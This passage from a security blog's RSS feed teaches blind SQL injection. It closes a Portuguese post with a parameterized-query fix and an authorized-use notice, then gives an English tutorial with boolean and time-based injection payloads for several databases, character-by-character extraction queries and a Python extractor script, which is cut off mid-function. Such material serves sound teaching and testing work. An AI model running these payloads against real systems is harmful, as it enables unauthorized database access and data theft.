&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;cur  &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; conn.&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;cursor&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;user_id &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; request.args.&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;get&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&quot;id&quot;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;cur.&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;execute&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&quot;SELECT username FROM users WHERE id = &lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;%s&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;, (user_id,))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;row &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; cur.&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;fetchone&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2 id=&quot;referências&quot;&gt;Referências&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://owasp.org/www-community/attacks/SQL_Injection&quot;&gt;OWASP SQL Injection&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection&quot;&gt;PayloadsAllTheThings — SQLi&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://sqlmap.org/&quot;&gt;sqlmap documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://portswigger.net/web-security/sql-injection/blind&quot;&gt;PortSwigger Web Security Academy&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;AVISO LEGAL:&lt;/strong&gt; Este conteúdo é destinado exclusivamente a profissionais de segurança autorizados. O uso destas técnicas em sistemas sem autorização explícita é ilegal. KBM Security não se responsabiliza pelo uso indevido.&lt;/p&gt;
&lt;/blockquote&gt;</content:encoded><author>redteam@kbmsecurity.com.br</author><category>web</category><category>sqli</category><category>blind</category><category>web</category><category>database</category><category>boolean-based</category><category>time-based</category><category>sqlmap</category><difficulty>hard</difficulty></item><item><title>Blind SQL Injection — Extracting Data Without Seeing the Output</title><link>https://www.kbmsecurity.com.br/blog/post/sql-injection-blind-en/</link><guid isPermaLink="true">https://www.kbmsecurity.com.br/blog/post/sql-injection-blind-en/</guid><description>Blind SQL Injection exploitation techniques (boolean-based and time-based) for data extraction when the application returns no visible errors.</description><pubDate>Mon, 10 Feb 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2 id=&quot;what-is-blind-sql-injection&quot;&gt;What is Blind SQL Injection?&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Blind SQL Injection&lt;/strong&gt; occurs when an application is vulnerable to SQL Injection, but &lt;strong&gt;does not return query results&lt;/strong&gt; or error messages in the HTTP response. The attacker must infer the database content based on indirect application behaviors.&lt;/p&gt;
&lt;p&gt;There are two main types:&lt;/p&gt;






























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Type&lt;/th&gt;&lt;th&gt;Mechanism&lt;/th&gt;&lt;th&gt;Speed&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Boolean-based&lt;/td&gt;&lt;td&gt;Evaluates TRUE/FALSE in the response&lt;/td&gt;&lt;td&gt;Slow&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Time-based&lt;/td&gt;&lt;td&gt;Measures response delay (SLEEP)&lt;/td&gt;&lt;td&gt;Very slow&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Error-based&lt;/td&gt;&lt;td&gt;Causes errors with embedded data&lt;/td&gt;&lt;td&gt;Fast&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Out-of-band&lt;/td&gt;&lt;td&gt;Exfiltration via DNS/HTTP&lt;/td&gt;&lt;td&gt;Fast&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;hr&gt;
&lt;h2 id=&quot;identifying-the-vulnerability&quot;&gt;Identifying the vulnerability&lt;/h2&gt;
&lt;h3 id=&quot;basic-injection-test&quot;&gt;Basic injection test&lt;/h3&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;http&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;GET&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; /user?id=1 &lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;HTTP&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;1.1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;Host&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; target.com&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Inject Boolean conditions and observe differences in response:&lt;/p&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;# TRUE condition — normal response&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;/user?id=1 AND 1=1--&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;# FALSE condition — different response (no content, redirect, etc.)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;/user?id=1 AND 1=2--&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If the responses are &lt;strong&gt;visibly different&lt;/strong&gt; between TRUE and FALSE, the endpoint is vulnerable to boolean-based blind SQLi.&lt;/p&gt;
&lt;h3 id=&quot;time-based-test&quot;&gt;Time-based test&lt;/h3&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;# MySQL / MariaDB&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;/user?id=1 AND SLEEP(5)--&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;# PostgreSQL&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;/user?id=1 AND pg_sleep(5)--&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;# MSSQL&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;/user?id=1; WAITFOR DELAY &amp;#x26;#x27;0:0:5&amp;#x26;#x27;--&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;# Oracle&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;/user?id=1 AND 1=DBMS_PIPE.RECEIVE_MESSAGE(&amp;#x26;#x27;a&amp;#x26;#x27;,5)--&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If the response takes exactly &lt;strong&gt;5 seconds&lt;/strong&gt;, the backend is vulnerable.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;boolean-based-exploitation-manual&quot;&gt;Boolean-Based Exploitation (Manual)&lt;/h2&gt;
&lt;p&gt;The technique consists of asking &lt;strong&gt;yes/no&lt;/strong&gt; questions to the database, extracting one character at a time.&lt;/p&gt;
&lt;h3 id=&quot;identifying-the-database&quot;&gt;Identifying the database&lt;/h3&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;sql&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;-- MySQL&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt; AND&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; SUBSTRING&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(@@&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;#x27;&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;#x27;&lt;/span&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;--&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;-- PostgreSQL&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt; AND&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; SUBSTRING&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(),&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;10&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;#x27;PostgreSQL&amp;#x26;#x27;&lt;/span&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;--&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;-- MSSQL&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt; AND&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; SUBSTRING&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(@@&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;9&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;#x27;Microsoft&amp;#x26;#x27;&lt;/span&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;--&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;extracting-the-name-of-the-current-database&quot;&gt;Extracting the name of the current database&lt;/h3&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;sql&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;-- Name length&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt; AND&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt; LENGTH&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;database&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;())&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;6&lt;/span&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;--&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;-- First character&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt; AND&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; SUBSTRING&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;database&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(),&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;#x27;d&amp;#x26;#x27;&lt;/span&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;--&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;-- Second character&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt; AND&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; SUBSTRING&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;database&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(),&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;#x27;v&amp;#x26;#x27;&lt;/span&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;--&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;python-script-for-boolean-based-automation&quot;&gt;Python script for boolean-based automation&lt;/h3&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;python&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;#!/usr/bin/env python3&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# blind_sqli_extract.py — Boolean-based extractor&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; requests&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; string&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; sys&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;TARGET&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;quot;http:&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;//&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;target.com&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;user&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#FFFFFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;PARAM&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;  =&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;quot;&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;id&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#FFFFFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;CHARS&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;  =&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; string.ascii_lowercase &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; string.digits &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;quot;_&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;-@&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#FFFFFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt; inject&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#D19A66;font-style:italic&quot;&gt;payload&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;str&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;) -&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;gt&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;bool&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;    &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;quot;&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;quot;&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;quot;Returns &lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;True&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt; if&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; the injection condition &lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;is&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; TRUE&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;quot;&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;quot;&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#FFFFFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;    params &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; {&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;PARAM&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;: f&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;quot;&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt; AND&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; ({payload})&lt;/span&gt;&lt;span style=&quot;color:#FFFFFF&quot;&gt;--&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; -&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;quot;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;    r &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; requests.&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;get&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;TARGET&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#E06C75;font-style:italic&quot;&gt;params&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;params, &lt;/span&gt;&lt;span style=&quot;color:#E06C75;font-style:italic&quot;&gt;timeout&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;10&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;    # Adjust the marker to whatever differentiates TRUE from FALSE&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;quot;Welcome&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;quot; &lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; r.text&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt; extract_string&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#D19A66;font-style:italic&quot;&gt;query&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;str&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#D19A66;font-style:italic&quot;&gt;max_len&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; 64&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;) 